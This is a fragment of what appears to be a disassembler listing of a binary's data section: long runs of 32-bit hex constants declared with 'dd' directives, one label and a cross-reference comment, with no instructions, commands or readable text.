		dd 42CE3ABCh, 0AAB86458h, 0CC2C008Ch, 0D487E060h, 7E4CC30Ch
		dd 95BD1000h, 7D138F04h, 178C144Eh, 88888A99h, 90F18A40h
		dd 86EF9978h, 20D33800h, 737D982Ah, 4EC91214h, 1EE31761h
		dd 3E7597B0h, 0A42328h,	96DDFD36h, 0BE018C29h, 0C133173Ah
		dd 0D429DBC4h, 183D8B7Bh, 0F78BC216h, 0F8BD5060h, 4EDCE895h
		dd 45131462h, 6510C4DEh, 7C77C481h, 0A48800CFh,	891E85C0h
		dd 6C6605B9h, 0C86EEBDAh, 11E0D52Ch, 10242DF3h,	0BD20723Dh
		dd 0E9B14360h, 4A67A847h, 0B734916Bh, 848D2BEDh, 0D0763F1h
		dd 88F44EA8h, 72E7C098h, 1B0087BCh, 508478F7h, 10E4D2Fh
		dd 3F1C52D3h, 8BBC6CEBh, 0E0F94FB9h, 0E0122Ch, 0A8FE8380h
		dd 42464D06h, 3ABC7C58h, 59310A45h, 881FA4EBh, 0A08BC792h
		dd 16C19588h, 0F8F36512h, 16297361h, 48934F8h, 1A8434Ch
		dd 9EAD3967h, 9F697207h, 489150D0h, 8F1891D1h, 95B6A04h
		dd 0A262EBh, 8D05E108h,	4C9FF600h, 0D3E8C8AAh, 0B7150039h
		dd 0D7B8A40h, 77C72303h, 0DA1D0415h, 4440C4F7h,	9B48294Dh
		dd 6958C8B4h, 9F591451h, 0D872A118h, 112C26FAh,	64260D6Dh
		dd 53A54D04h, 46292881h, 0E508BE00h, 1226C90h, 974400F0h
		dd 0A267266Eh, 2AE3F133h, 1865880Bh, 2719397Ch,	186D080Ah
		dd 0EE059890h, 0E5CDE371h, 0BDDDA4h, 2C0F19F0h,	2F44F5Fh
		dd 88585EEBh, 59D24C1h,	3340C41Eh, 345F3AB6h, 0AD60C4BEh
		dd 22845448h, 20D25EB9h, 0B1CD9BECh, 940B6115h,	0E14516ACh
		dd 6751EC32h, 60A0E460h, 1F4E34Ah, 2BC533B0h, 5803BB1Bh
		dd 0BA45744Ch, 95BC8068h, 2AD008Ch, 306FE843h, 67317D58h
		dd 8BE9C852h, 0F478000Dh, 89957F69h, 745016A0h,	959D84CDh
		dd 80A49130h, 0B9405CE4h, 24CE0AF5h, 0E4445167h, 0FC045676h
		dd 0B632D18Fh, 809CB729h, 0C9A19E0Ah, 320CA493h, 0E0CAA374h
		dd 229643E1h, 0F4B726BAh, 3BBD407Ch, 60B1749Dh,	58B32A3Bh
		dd 0DDEC505Ch, 76996394h, 18667128h, 448694F8h,	1912F468h
		dd 4C91B5F3h, 0C2078FDDh, 80547F71h, 0C333B428h, 0F419A8BFh
		dd 58EA4146h, 0F688E1E8h, 5F2505A4h, 0CDEEFE68h, 0D59041F4h
		dd 46E708E9h, 0D4202453h, 0BF5499E4h, 70C86925h, 0C983EB0Dh
		dd 623E541Bh, 888435D0h, 8DC504E7h, 138E3C90h, 0FAC903B9h
		dd 0A0CDF6AFh, 6A1F07F3h, 87042205h, 8C47E99h, 0A988CCCEh
		dd 917BA6C0h, 9F773DC3h, 98973180h, 0D5DF19EEh,	8EF5C91h
		dd 0DC8C2577h, 0BD416120h, 0A4A10BF2h, 9FD8FAB7h, 64E59920h
		dd 75B325F8h, 0B600607Bh, 0B74EDD40h, 0B3C21DCDh, 0F8892520h
		dd 0E467A0B2h, 4661B144h, 80706CF9h, 791F33Eh, 5EAD0035h
		dd 7CB334B9h, 210366C9h, 374E29CFh, 1880F5E0h, 60F120CBh
		dd 0A74888E6h, 7E372D63h, 0C4A0F8C1h, 0F4DBF33h, 0A251D262h
		dd 85037620h, 0D0BA056Bh, 0AD983D02h, 0C3772127h, 5DC023B0h
		dd 0D72F2401h, 0B2182A35h, 2C2C7D88h, 0B64A02Fh, 80688B5Dh
		dd 0BD806A69h, 5894BF0h, 24A4D8Ch, 0AB97431Ch, 18EC7C40h
		dd 19D2340Fh, 73B9408Ah, 1CBC71Fh, 396F0BA5h, 94C5F9h
		dd 33C360h, 776852A7h, 35E24199h, 9C651974h, 48F44921h
		dd 0A02003Bh, 1F31F1D2h, 0F20F2701h, 6F57D304h,	1436404Ah
		dd 24CECA37h, 39FD655Eh, 0DE2B6109h, 2D31A421h,	81711091h
		dd 9497CC5h, 69E8D3CFh,	7C573CC0h, 600434F5h, 2967FE09h
		dd 0B34C02DEh, 0BBC802ADh, 215E3C56h, 0ED80F064h, 0F39427AFh
		dd 5413E267h, 4E2DD895h, 9D64418Eh, 0C06596D4h,	0F900434Fh
		dd 5EAC82F4h, 79B0636Fh, 170F4E0h, 777D07FFh, 21D15240h
		dd 2A0FF50Ch, 0A523F02Fh, 9905CB00h, 0ACDCB6ABh, 7435018Ch
		dd 7FEF265h, 70D830A6h,	0FBDC048Ch, 0ECF6655Bh,	0D4AEB0B4h
		dd 0FC3E01FBh, 39F0F214h, 1F883447h, 0D1C9EC07h, 0AB72B4A3h
		dd 934409Eh, 2042818Fh,	0E3886FD0h, 57D400F6h, 0DB086253h
		dd 8F5ACB5Ch, 0CDEC0C80h, 80320013h, 6A586030h,	5CF051BAh
		dd 0E9F81A00h, 0B553416Bh, 0B9C00A8Eh, 749052FBh, 0CD0EAF46h
		dd 0D0C0C4B7h, 406E873Dh, 58291424h, 33655582h,	28C450B5h
		dd 46947694h, 0FBD5126Bh, 94DE480Ah, 0AF4092C4h, 6C63FBCDh
		dd 6EED0C0h, 3DC34F2h, 5E10381Dh, 0F100E28Bh, 0BD6AEC2Fh
		dd 135FDF2Dh, 0BCD51258h, 636987ECh, 0E48C44C0h, 79DD3E43h
		dd 0E0BA8387h, 98850C4h, 0E912339Ch, 0F4F92BEDh, 36F84A80h
		dd 2D263B3Eh, 47003401h, 2E90BBEEh, 7B4D01A9h, 577154BDh
		dd 3E5069A8h, 186EC075h, 19CCC761h, 0DC9EBBE8h,	0C2057811h
		dd 0CEBDC8B7h, 0C09E88ACh, 7A31D7EBh, 48CC0D48h, 65E11314h
		dd 20BA3C84h, 0BB277994h, 1C8CFB4Ch, 72CD60A4h,	9C0251EEh
		dd 708E449h, 39798394h,	0E7E02028h, 0BE0CFDA1h,	99661623h
		dd 68410051h, 0DF65477Ch, 297FE8B4h, 0EBB77601h, 575F2BDCh
		dd 1D673C24h, 5D6454h, 15FF6FE2h, 3E2F3BE9h, 0CED8AC52h
		dd 0A167091Ch, 0D0E55D9Dh
		dd 3D61E4E4h, 0C862C8h,	237EB17h, 0E98405h, 43CC8F3Ah
		dd 0C25DC55Bh, 0DD608000h, 0B6CE326Ah, 0D5A90086h, 0B7BDF139h
		dd 88B673DAh, 0F9D31040h, 6E3A02DBh, 63771BEEh,	0BF471440h
		dd 507194A8h, 9B3DDE04h, 9CC1C9BCh, 0E4698BA5h,	0C8BEC710h
		dd 1B6782CAh, 82094665h, 72875560h, 429FE854h, 94A72288h
		dd 93465EB8h, 9E0E7901h, 6C076154h, 41AF0E34h, 1C043095h
		dd 91C36B69h, 30B83D84h, 2612CF22h, 80A2A042h, 512C900h
		dd 0FFFB52B4h, 85C7B200h, 678B03C6h, 7F8C005Eh,	7C94881Eh
		dd 1405624Eh, 0ED79EF6Ch, 3E51FC02h, 0BDCD81AFh, 2A4284h
		dd 0EE88D764h, 1B88E794h, 0FD4300DBh, 0E0A93A2h, 0AF1709AEh
		dd 0E804DDBAh, 2700961Dh, 8D641F3Fh, 0CCF29709h, 11B49DBFh
		dd 7C9D9C97h, 0FC18B141h, 263B5EDAh, 0F6004E20h, 0EC7EA3C6h
		dd 72D9B288h, 0EC6550E6h, 5F814061h, 9471620Fh,	0BD4D6155h
		dd 853BA920h, 0A2208444h, 30B1F214h, 0C4791ADFh, 0F65EC9Ch
		dd 8DAC70A9h, 0E1673D02h, 0E0622F01h, 0EAD8EEAAh, 380F30F7h
		dd 1235F0E9h, 8225E03Ah, 66EBB5B3h, 0F11CD168h,	164618B0h
		dd 90C53870h, 3DDF2B04h, 13567D00h, 9E513B6Bh, 0F3712F46h
		dd 141FDC00h, 4412572Eh, 7C041CDCh, 0E26A19h, 87169122h
		dd 8CC7B131h, 0D93719B1h, 1D10202Dh, 0B7FE0E89h, 592A0BC1h
		dd 0EC97A748h, 1E87AF91h, 375550D5h, 68383E4Ch,	0F8C0489Bh
		dd 0D5008C95h, 0BA7B9E09h, 2C3F30CBh, 41801BEFh, 28B1E935h
		dd 685809A0h, 856478EBh, 60A5C45Ch, 16BE6A16h, 4DAB113h
		dd 7D32740h, 0F07AFD74h, 35057B11h, 92BDC5F1h, 6821BA6Ch
		dd 202FEF12h, 0DD296578h, 6CDC8C4Bh, 0B3112734h, 8812142Fh
		dd 6000CE68h, 74FECDDEh, 3A09C1h, 0BC188925h, 16AE3B71h
		dd 98496D01h, 0DB528C50h, 0A6A23073h, 0A340F833h, 0CDB42CB3h
		dd 0F4012D9Fh, 68A91385h, 6F4307D4h, 0F6821FEDh, 0C6BC68F8h
		dd 22C881E8h, 83C13850h, 0DD057EACh, 7DD3B8FEh,	7A520B72h
		dd 2041BE3Bh, 6A02D232h, 61FC9270h, 0A423DE9Ch,	5846E4Fh
		dd 0E76EC7D6h, 0AA83F4E8h, 761D1612h, 27005FB8h, 4C11218Dh
		dd 0B7FC007Dh, 57846EDEh, 9090FEE8h, 0D4016645h, 0F00688F1h
		dd 0C2079F40h, 896BEDA1h, 0D83034D4h, 2042E9EFh, 5413F02Fh
		dd 98E96F69h, 6F45363Bh, 72B34020h, 2CEF6B8h, 65B5D3C6h
		dd 50C8E51Bh, 0D048F939h, 0E57527B9h, 609EE484h, 23D8F29h
		dd 3B659307h, 307D557Dh, 5D5EEC8h, 14866938h, 0C13820CFh
		dd 0ED131F79h, 0FC80D319h, 41E9496Bh, 3C2F3AAFh, 0C2F06110h
		dd 44666B3Ah, 49870C10h, 9450E695h, 48C0D55Ah, 162F7D70h
		dd 0C4DE71B3h, 160F984h, 288F3DC4h, 82FE46ABh, 7EE76160h
		dd 0A470BC4h, 7CA77450h, 8D61B144h, 0A0F041DAh,	9F8ACCB7h
		dd 0A74191C5h, 2E93F0BDh, 9C2388h, 51ECC8DEh, 86007354h
		dd 684E1F0Dh, 253713EEh, 0A469E0BEh, 0CD69A5D4h, 0F4D3C098h
		dd 0B5405B69h, 98A0B747h, 0FC9996EDh, 0B068E92Ch, 4C790107h
		dd 448CCB74h, 0D3FF04ECh, 88D23A18h, 7E0142D0h,	6B0779FBh
		dd 0AF10E46Ch, 0C048D551h, 139D8888h, 180FCDAh,	0B46A606Dh
		dd 6820E0B9h, 2C564962h, 0AD6B6581h, 68076F45h,	0CE8471F4h
		dd 0FC409093h, 0B927EC22h, 5220160h, 6E1C00D1h,	138A8D55h
		dd 1F767C4Dh, 0AE002CB9h, 5B52D429h, 65A5008Ch,	6CFB8297h
		dd 491A6E5Dh, 76B0B1F1h, 8001DC98h, 0E037DBB6h,	0DA700DA6h
		dd 62C51384h, 191021BDh, 666A019Eh, 0D1075822h,	19D5C2B7h
		dd 7E410C90h, 375C828Ah, 20AC44B7h, 1890AE9Dh, 90D90B20h
		dd 0C5A50884h, 0C54BBD2Eh, 6794648Ch, 0FCE241B2h, 0F8914510h
		dd 8CE3F83Ch, 5A50F512h, 0E1AED804h, 61DC100h, 632DEB74h
		dd 0F578258Fh, 1385B0F8h, 7C60E845h, 50191ED8h,	0EE9D0BC1h
		dd 0A424F739h, 0A51487FFh, 0ECECBC27h, 0A10B8C9Ch, 814C2B02h
		dd 0DB92E9C8h, 0A00D8093h, 0B0931578h, 86EF9E50h, 1A4E551Dh
		dd 0CC443D00h, 50FAB763h, 81738023h, 0FFA01064h, 0D0A86EE8h
		dd 28F9954Bh, 301998D9h, 7230F58Bh, 6DFDC8C2h, 0EDE28385h
		dd 56387412h, 80EF9D21h, 0B73EA287h, 7C00FFB8h,	6F42A359h
		dd 5A6AB47Ah, 6208D071h, 690B2410h, 2F2EB53Bh, 4D2821FCh
		dd 81809488h, 0A0D1FC75h, 830372FEh, 7C8A345h, 0E1A279B8h
		dd 0AC84207Ah, 3275CE47h, 7B3BC217h, 9F405C82h,	0F0A1BCC8h
		dd 0EB30B580h, 0B22D4167h, 2F2277D0h, 54E0551Bh, 20C24563h
		dd 38CB529h, 51C125ACh,	100FFF61h, 521B8F32h, 0CB155044h
		dd 0DE1078D2h, 0C53BD6F0h, 0C3AA8197h, 72638588h, 0EC50C86Ah
		dd 1D69C800h, 0EDC2433Ah, 0F8D97FA2h, 636496A3h, 35E12F5Ah
		dd 0B054783Ah, 22F227Fh, 4E8BCED8h, 42602892h, 0F40BB44Fh
		dd 52D55B61h, 0A97120A4h, 0A500BF94h, 396B8EA8h, 0D12AE9EDh
		dd 0DE97CCh, 0BE895179h, 61560214h, 6B00E063h, 7C140741h
		dd 4254885h, 421CE10h, 0CB6AE939h, 3E386C80h, 0FAF672A4h
		dd 0F3451DF7h, 0A532CE52h, 1E906A0h, 51C0999Ah,	8A492039h
		dd 2B4E01C0h, 2547626Dh, 6C562E3Ah, 823E4B0h, 0EEC9F93Bh
		dd 40F6273Eh, 89D917E4h, 0FE704751h, 0F162EDA5h, 107BFB40h
		dd 78547B22h, 0B9DB20B2h, 65699F61h, 1E2FBD61h,	0B701C6A4h
		dd 591059AEh, 46049049h, 0A8BA6030h, 8C9EE80Ch,	5328213Ah
		dd 30A6A2F0h, 2E0F1E82h, 64CD9356h, 5CF48BB5h, 0CE69559h
		dd 0C08C9E5Ch, 7D87C87h, 81C131E1h, 83EEC530h, 4FF72A21h
		dd 3C7C013h, 436F082h, 491DD04Ch, 8494FCB9h, 0C529563h
		dd 4D20DB6Ch, 5823925Fh, 33210565h, 48FF519h, 3172154Ch
		dd 0E901BD24h, 1D4723Ch, 67AA98FFh, 588BC137h, 0A4E4A95Eh
		dd 0A7CD922h, 0A8DF27FCh, 5CF9C9ECh, 9189E79h, 0CC880717h
		dd 59084507h, 0E5048249h, 105409F4h, 1080D116h,	484DB333h
		dd 0FFCE2C68h, 4A9E7EC2h, 0E138817Fh, 0F904E575h, 986A8BF8h
		dd 2029878Ch, 8D24863Dh, 0C48208F4h, 0DEBA783Ch, 102D47E0h
		dd 0C39C8C67h, 37608601h, 0FE7D7632h, 273C216Fh, 0EB2BF04Eh
		dd 28B0AFE2h, 22DDAD2Dh, 7F1B4FF0h, 6F4ABC91h, 4BE34840h
		dd 0A0EF149Dh, 0FEB4ECA4h, 0F2794F8Ah, 626A12CCh, 0ADDB4CCh
		dd 7E8C6369h, 2E42484h,	0A6074B7Ah, 65B58C60h, 0BD648082h
		dd 0C153256Bh, 39EBBA11h, 0F12431E8h, 0BD2017B4h, 0D74533FBh
		dd 0C8F48B29h, 8A18C0A9h, 360EEE21h, 0A183F287h, 0EC706AD7h
		dd 1DC2B997h, 670B2264h, 52763D6Bh, 0D0615B20h,	5316564h
		dd 84F4E648h, 24F879E3h, 18C91ECh, 0C6715295h, 6E111B65h
		dd 70FB600Bh, 0D0449568h, 1EB5F122h, 3EB774E7h,	0A337A9E0h
		dd 44749231h, 0BD137C90h, 34F07933h, 0BF09FC3Eh, 0AC02E01Ah
		dd 40BE14Bh, 94837630h,	94B9A4CAh, 8A00A9E8h, 0F83FF6FEh
		dd 95D6DBFh, 26CC7EEDh,	282C145Eh, 0F061217Ch, 0D6EF7585h
		dd 59F4544Bh, 60A91E3Ch, 0BC4030B0h, 0D0028A40h, 0E464ECF1h
		dd 30DC35FDh, 934005D0h, 0E7853550h, 8158EC30h,	139CB83Eh
		dd 465060h, 9A6F3D4Fh, 627EA04Eh, 78535731h, 5200BD81h
		dd 0C3EA4411h, 25DEB705h, 0C4BD4950h, 147B8400h, 0B37918C7h
		dd 2E5C7E00h, 0AAEF9C40h, 0F91D00CFh, 64A867D7h, 0FF7F89C3h
		dd 1C2E105Fh, 59029D23h, 0C06D63B5h, 0B5E369C0h, 8E5D8C85h
		dd 0C0B28810h, 0A1E74478h, 10882B27h, 6684E4Ch,	9F19EEE6h
		dd 477D60A6h, 20B5A9C1h
		dd 0D8659BF9h, 311D8433h, 39EE2055h, 0F87B6B22h, 9492405Dh
		dd 67610D61h, 0EAD43B58h, 704151E9h, 0E8CB7092h, 926B256Ch
		dd 2E45EB4h, 62C5F477h,	0DE44047Ch, 4BB0482h, 0EE5D31D6h
		dd 7F973910h, 91809D9Dh, 14F98098h, 5FFE7F3h, 39ED4E9Ch
		dd 471CD167h, 0B8482EC3h, 5EB38171h, 7C803724h,	4FA48048h
		dd 3F32C6A8h, 629EE982h, 20520217h, 84C27106h, 0AC8068D2h
		dd 0C580B605h, 0E4828A3Bh, 9008829Dh, 12D36308h, 23DC3AD1h
		dd 895712B2h, 0BC5C7CACh, 7F04361h, 1DFAC7D4h, 96B8243Bh
		dd 4081D08Ch, 0E926C0E6h, 871F949Eh, 45242265h,	0DD1C01E4h
		dd 0BC5C78A7h, 42018CA5h, 0E5348F31h, 6C61333Ch, 5EC5A020h
		dd 0BE4C8436h, 0D5006C6Eh, 2E44C867h, 5E14195Bh, 24C1D4E7h
		dd 0D31350F1h, 1D04687Eh, 906719EDh, 0DD3AC4A4h, 0C734ED95h
		dd 79D1E07Eh, 0C207E520h, 5B71EF0Ah, 0BFFF58ECh, 35419423h
		dd 94C8158h, 6B4E611Bh,	481900F4h, 96E0A7A5h, 5E099828h
		dd 98FF3320h, 0BFE8C2DCh, 0F5819490h, 0FD3C9000h, 23C193F7h
		dd 0B1F2000Bh, 0C5B837B5h, 2101FEF3h, 573F4C2Fh, 3989AE4Ah
		dd 0D4D08634h, 87B6841h, 0FB09E740h, 0CCCC4342h, 108EB859h
		dd 4BE63213h, 0ACF380h,	78524EECh, 0E2B225h, 4280222Ch
		dd 0E9B0D071h, 33AFE602h, 22D561C4h, 0DD20C049h, 0D2E2F10h
		dd 6CE69B1Ch, 6A63F051h, 44CDBD00h, 0B2EC1418h,	0D952125Fh
		dd 0C8D8CB2Eh, 838CC09Dh, 0EA1337A1h, 8C20656Ah, 2E20DB77h
		dd 50F8BDFDh, 127F481h,	0CADC8033h, 58EDB923h, 8871F483h
		dd 0CB005F32h, 0C26257F3h, 4C52651h, 6B65148Eh,	4F8EC6Dh
		dd 84B5C107h, 5163BD01h, 749C6E47h, 0A51B1AE5h,	25D315Ch
		dd 12478910h, 94CFC409h, 607F6E4Eh, 0FFB20A63h,	586B02F5h
		dd 0BA7D396Ah, 0DE8BAC56h, 49907979h, 9E792871h, 82253518h
		dd 4CA4E450h, 3300A726h, 2B1EDF07h, 0CE5025DBh,	8140358Ch
		dd 0B46C4BEBh, 0F40D6F1Ch, 90BAD739h, 80427428h, 9F046458h
		dd 0C222D0F5h, 0E304F000h, 43C00452h, 50B016DBh, 0CC44869Dh
		dd 0E5150B9Eh, 10D48D3Bh, 51D3D51Eh, 6A4D8C41h,	84327529h
		dd 0B533FB05h, 0C1C4426Ch, 0ACCE9325h, 0C50460BCh, 6202BC21h
		dd 8C51BA1Bh, 40231696h, 0B3B78809h, 7C570B1Ch,	7CA4FD51h
		dd 800AB26h, 0ADA86D5Fh, 0B81A28E2h, 627C8090h,	0E1333B77h
		dd 2476046Bh, 0A0817135h, 8D02C059h, 0A281005Ch, 0D9A6EEEh
		dd 148C9CF8h, 90B51245h, 48AD1B10h, 686A14A9h, 0A07A0164h
		dd 78F7CFFCh, 42CB0820h, 8EF818CCh, 9833229h, 77827F0Dh
		dd 0A964F47Ch, 2B8E8A9h, 0ED559C00h, 352FCC46h,	0FB62094Eh
		dd 0D8568E04h, 81815647h, 3C307006h, 0E7C848C4h, 89ECF12h
		dd 6CA4E2E4h, 0E420E060h, 0A1A7036Ch, 61D78601h, 6F0639C8h
		dd 63D33E03h, 1368521Ch, 0A53DE991h, 601D7F18h,	644BB02Ch
		dd 4AD3004Ch, 0CFF19264h, 0C002DA82h, 58B315BBh, 713059C7h
		dd 0A0021897h, 4FD7F3A9h, 1C08C826h, 0AAB32E0Fh, 51794257h
		dd 8C045D01h, 4ADCB388h, 0A323B42Fh, 1662A100h,	25AB7C19h
		dd 346440C6h, 3C0A0D03h, 1ED31DECh, 16CE68h, 0EF12A7D1h
		dd 5E04AF22h, 0DB330FDEh, 588050F8h, 6365B5CFh,	2F54994Dh
		dd 0B10CC816h, 46725Eh,	704ADF3Bh, 1671A91Ch, 7380D8FFh
		dd 0FA3A5F12h, 0D46C44D9h, 0F04363ACh, 71AF153Ah, 0D800D8D9h
		dd 5B98D908h, 0E8C90B73h, 1900B955h, 0D5DBC2B7h, 0F1F93513h
		dd 277E40B1h, 0A008102Ch, 0C600526Dh, 15F94BF4h, 0B0DB4542h
		dd 8BD52088h, 141295h, 0DF3DC41Ch, 15021AF3h, 0A57992Dh
		dd 1C9DC28h, 889A75E4h,	3E7FF834h, 6512D305h, 92CFD33h
		dd 0E8C8276Eh, 5849518h, 0CB906819h, 7821FE26h,	0FF0BBFDh
		dd 1A62F43Fh, 0DED41DA2h, 0EB6C07DFh, 4114F44Bh, 0B145E9h
		dd 7E39D360h, 10D660F9h, 2966B69h, 0FA4678C0h, 921D8Fh
		dd 0BFB22B4Eh, 752128A5h, 0DCF80809h, 0E7048266h, 0D09226ADh
		dd 62406C98h, 0C8B44ACBh, 90A9E5DCh, 0C081140Ah, 4411EC89h
		dd 15E430E3h, 1C1AA8AAh, 6988F8D6h, 447C0BA9h, 0E9555058h
		dd 0B8F3DCD8h, 466BEC9Ch, 0E0BA3158h, 4DF1C940h, 50903D38h
		dd 3658DC6Ch, 28E097B0h, 8BC804Ch, 14628B5Bh, 0DC7C8971h
		dd 63330258h, 68FE7069h, 20BC536Fh, 0D90B6782h,	0B7E4B856h
		dd 761320C1h, 0D108204Bh, 90BB98F5h, 187C65C5h,	188289C9h
		dd 0FC48A2BFh, 287046ACh, 0E0D690ECh, 0DFD99C99h, 0D1B6250Ah
		dd 18E17958h, 80F64FCBh, 0E91B656Ch, 0A7D3C1C4h, 0E1BC8CACh
		dd 0D55038Ch, 0EEF0B7CFh, 7A941958h, 644640h, 6D4E6728h
		dd 33D35A22h, 0ADE83903h, 0D0EA8EFEh, 6BBF57Fh,	0BF8491E2h
		dd 0D5A021A7h, 6807DA46h, 0B2C2F5AFh, 0D2A686C1h, 5E5FB8D0h
		dd 13A8E438h, 7DC37716h, 8FA67018h, 0A0573BBDh,	2AB35D8Eh
		dd 5A41B542h, 0D756F9C0h, 2524670Bh, 3E440260h,	0E490C80Eh
		dd 2DEF0C5Bh, 9E595947h, 8544EE1Dh, 7C3A7Ah, 623AB9D6h
		dd 9AE7434h, 3732BF6Ah,	5EBAC0D4h, 402AACE1h, 33B0681Ch
		dd 0B712509Ah, 54F8CAF6h, 0F810EA32h, 62003452h, 0DA678094h
		dd 9D103BE9h, 5B304CE9h, 0DC822C28h, 8DE128A1h,	588877FEh
		dd 0EF807141h, 0A7AC249Eh, 0BCA23A9Fh, 0D063EB16h, 0AE64343Ch
		dd 66EC9015h, 76ABA240h, 1C01184h, 68F84E6Fh, 0E1CC5ABFh
		dd 0EAFE317Fh, 93F2C591h, 0FCFBF8h, 0B7B83C91h,	0A4D6F72Ah
		dd 435D871Ah
dword_4E414C	dd 11D0DE41h, 343729B6h, 0CF0B2551h, 4F0F825Eh,	5C8F60C1h
					; DATA XREF: ___:off_43AD34o
		dd 0D1EA60C5h, 0E895FD2Ah, 33C06802h, 25454A67h, 0CABC79BEh
		dd 6E6A7136h, 0BE49615Ch, 0F881AC50h, 0B907D28Ah, 37E9398Ch
		dd 5A616C3Ch, 10423854h, 1D020836h, 61EB3B06h, 0B5EE2CE4h
		dd 33D4EA00h, 0B728783h, 4A5602D2h, 79FBBC23h, 0F5AD7048h
		dd 41C8B527h, 6F10E394h, 0EE7CBC4Fh, 385220ACh,	4150ABCh
		dd 4F12A0F6h, 0C4B09C53h, 2A1C05AAh, 0B4FFBEEAh, 6416C508h
		dd 0ECA877A7h, 0CFAB80AEh, 4AE7EE4Fh, 0E660F0F7h, 0C9B908C6h
		dd 7C297B18h, 60E3314Dh, 10B5B08h, 2888EF39h, 7D0CB702h
		dd 62520881h, 0B60A18E3h, 100C9B03h, 74E5AD30h,	8B6A8240h
		dd 810D4A3h, 1710C5D9h,	79A531B0h, 1088BA33h, 0A60C5E1Ch
		dd 40890836h, 1940A727h, 287E6273h, 0E7021064h,	0F8350705h
		dd 20D2B10Ch, 88E463B4h, 1818558Fh, 0B0081A92h,	0C20C6A5h
		dd 0A2621017h, 24C6709h, 88034B5Fh, 2F2819D6h, 0AC0308A9h
		dd 58314F79h, 108DB523h, 0EF30014Eh, 0F1571918h, 0C63E4B08h
		dd 28E22F18h, 8A8E431h,	208CE8DEh, 1910A32Bh, 0BE9480A9h
		dd 29C431C2h, 108C2179h, 0DD080686h, 0D1F469C6h, 8AF6479h
		dd 1122463Eh, 292C3120h, 1572008h, 708CFD41h, 6C08F8E1h
		dd 0A21902FDh, 62E709Ch, 0F3338124h, 0CC2D0822h, 61D1104h
		dd 5438FF45h, 0C655E4E0h, 8DE9279h, 31D99320h, 7B305F9Ah
		dd 9C1095D5h, 0BDCA1AA0h, 0F10CA2D9h, 7D1302E0h, 3AD6F02h
		dd 40183F32h, 0C9080D19h, 0F27F8038h, 0C03580C6h, 3279C451h
		dd 10BB04B7h, 4C261C09h, 916E7994h, 8C90811h, 4B08FEA1h
		dd 0EF2E08BFh, 41594D18h, 3F48C60Eh, 76200862h,	0DC063104h
		dd 136AB20h, 33034C99h,	7C9D04DCh, 8BB2306h, 14F3E524h
		dd 0A608EA99h, 0C3942988h, 10F0B515h, 0B6104E35h, 0DD2B1047h
		dd 6E11F831h, 1708885Dh, 413A1801h, 0AE80390Dh,	0B010CCBEh
		dd 5664E899h, 2504AB91h, 0C24973Ch, 0CE620D88h,	423EA18h
		dd 9B8C9214h, 5FDABCA4h, 0A2261250h, 5A4F8808h,	12EB1D08h
		dd 0A1704CB8h, 289AF3B1h, 1804EA4Dh, 0D50809C8h, 0DB39CA59h
		dd 28EC99FCh, 7B7188C5h, 0A18D181Fh, 10C4141Ch,	40921377h
		dd 92A50440h, 2869BE84h, 6B5C242Ah, 0A10C664h, 3AA82891h
		dd 0C0051895h, 31B0A92Ah, 6610F49Ah, 0F8060148h, 8CC27F01h
		dd 8CB0B38h, 18ED623Ah,	0E20FAA3Bh, 64C8BA2Ah, 3DD904A4h
		dd 0A0FB148Bh, 0B3F0A184h, 10F83C30h, 7DA21B7h,	0AB45EA08h
		dd 5B8ED7F4h, 0F1B0F86Bh, 0B0FE829Fh, 0B401277Eh, 2337441h
		dd 0DCD08694h, 457211EFh, 78985875h, 0ABCCB700h, 0C8291B2h
		dd 67A3047h, 60BF9620h,	0F4BEE100h, 0FC1586E4h,	38DD3Dh
		dd 55AD82C2h, 2031478Ah, 9818313Ah, 868C01D2h, 0E6788707h
		dd 47414A33h, 48001C0Ch, 0B6008CD0h, 1FDE829Dh,	0BFEDF8h
		dd 2EFC856Bh, 8432B97Fh, 8C3D2C00h, 41AF9F35h, 15700CEDh
		dd 5D606479h, 80B6FB3Ah, 698684BAh, 0E634F6h, 71F4B23Bh
		dd 23F90DF1h, 0B3EA894h, 0A25494E2h, 0F0D948FCh, 30677C14h
		dd 71206F51h, 9263CFC5h, 90903A18h, 0C1DCCDh, 0AFD8AB21h
		dd 165FC8ACh, 0F817738h, 78A9B72h, 1180731Eh, 30F13CCFh
		dd 0FCE83DD2h, 4D3CCCB8h, 763B75D7h, 581509EBh,	6DFE828Ah
		dd 0E47A4Eh, 0CF947A35h, 0BE6FFD6Eh, 34F553Dh, 0B38C0EBAh
		dd 0A35DD89Fh, 149EE39h, 0AB3D96C0h, 0CC419C4Ch, 151551C3h
		dd 1D05CFFh, 933586BCh,	3041A16Dh, 0E731B33Bh, 5B15C408h
		dd 21B0A05Dh, 2F00C573h, 0B265F076h, 0A0A66D51h, 0B683151Ch
		dd 48600260h, 98A0943Eh, 0F6FB51AAh, 0B56C5780h, 0E2865CC1h
		dd 196E1048h, 0A055C52Eh, 51CA80BEh, 0C848D35Fh, 0D561129Bh
		dd 3F24FC54h, 0E2BE815Bh, 0C1426525h, 7825F872h, 53731CE9h
		dd 18CFBDCh, 0B13D4365h, 0A36F1040h, 34F248C2h,	0AE946A0Bh
		dd 5FB33840h, 0E0771F37h, 12D4B86Ch, 40BD5215h,	0D88EC65Ch
		dd 8A2E569Ah, 0B10CF80Dh, 0E01F28D4h, 0DA120334h, 0B7068D4Dh
		dd 6F807900h, 0AAF4B0FAh, 2B0A038h, 18CF76EDh, 581A3915h
		dd 5A138824h, 3B0CD4DAh, 57655074h, 3600ACBAh, 18695281h
		dd 8614ECEFh, 468B23Dh,	62337288h, 0D3189481h, 0DD8D3D00h
		dd 6DF3E906h, 1E597FC5h, 40731B5Fh, 2F3D1645h, 0DF02CD58h
		dd 9AB14A57h, 0FBCF88EFh, 14064706h, 84908048h,	0D05280DCh
		dd 40B4435Ah, 452A0FFCh, 628E4A71h, 6D82E5E0h, 0E43294DEh
		dd 0F63230D0h, 134786ECh, 6D03387Ah, 0B18D8CC4h, 15AB8865h
		dd 0E17B300Bh, 0B616C950h, 9F3C4C76h, 83128E9h,	0A7011F01h
		dd 5ED72497h, 4B82E054h, 15CC48F9h, 9C008A6Dh, 689C3A5Dh
		dd 46FABCE6h, 44E23B26h, 299E86Eh, 0CF37C5D0h, 38FCE0A3h
		dd 94C6C1A8h, 407B182Dh, 759B0C8h, 33B16A7Ch, 21DD372h
		dd 0E29667A0h, 7034FC28h, 0F6ECAF0Fh, 9A3500CCh, 1ED27993h
		dd 5D05851h, 215D6D97h,	488F3DE4h, 0B624C5DCh, 1D00A432h
		dd 706D7CFCh, 292D1D0Dh, 1C275B95h, 3C85CED0h, 90AF531Ch
